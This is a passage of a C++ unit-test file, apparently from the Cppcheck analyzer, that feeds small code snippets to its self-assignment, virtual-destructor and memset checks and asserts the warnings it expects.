A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n 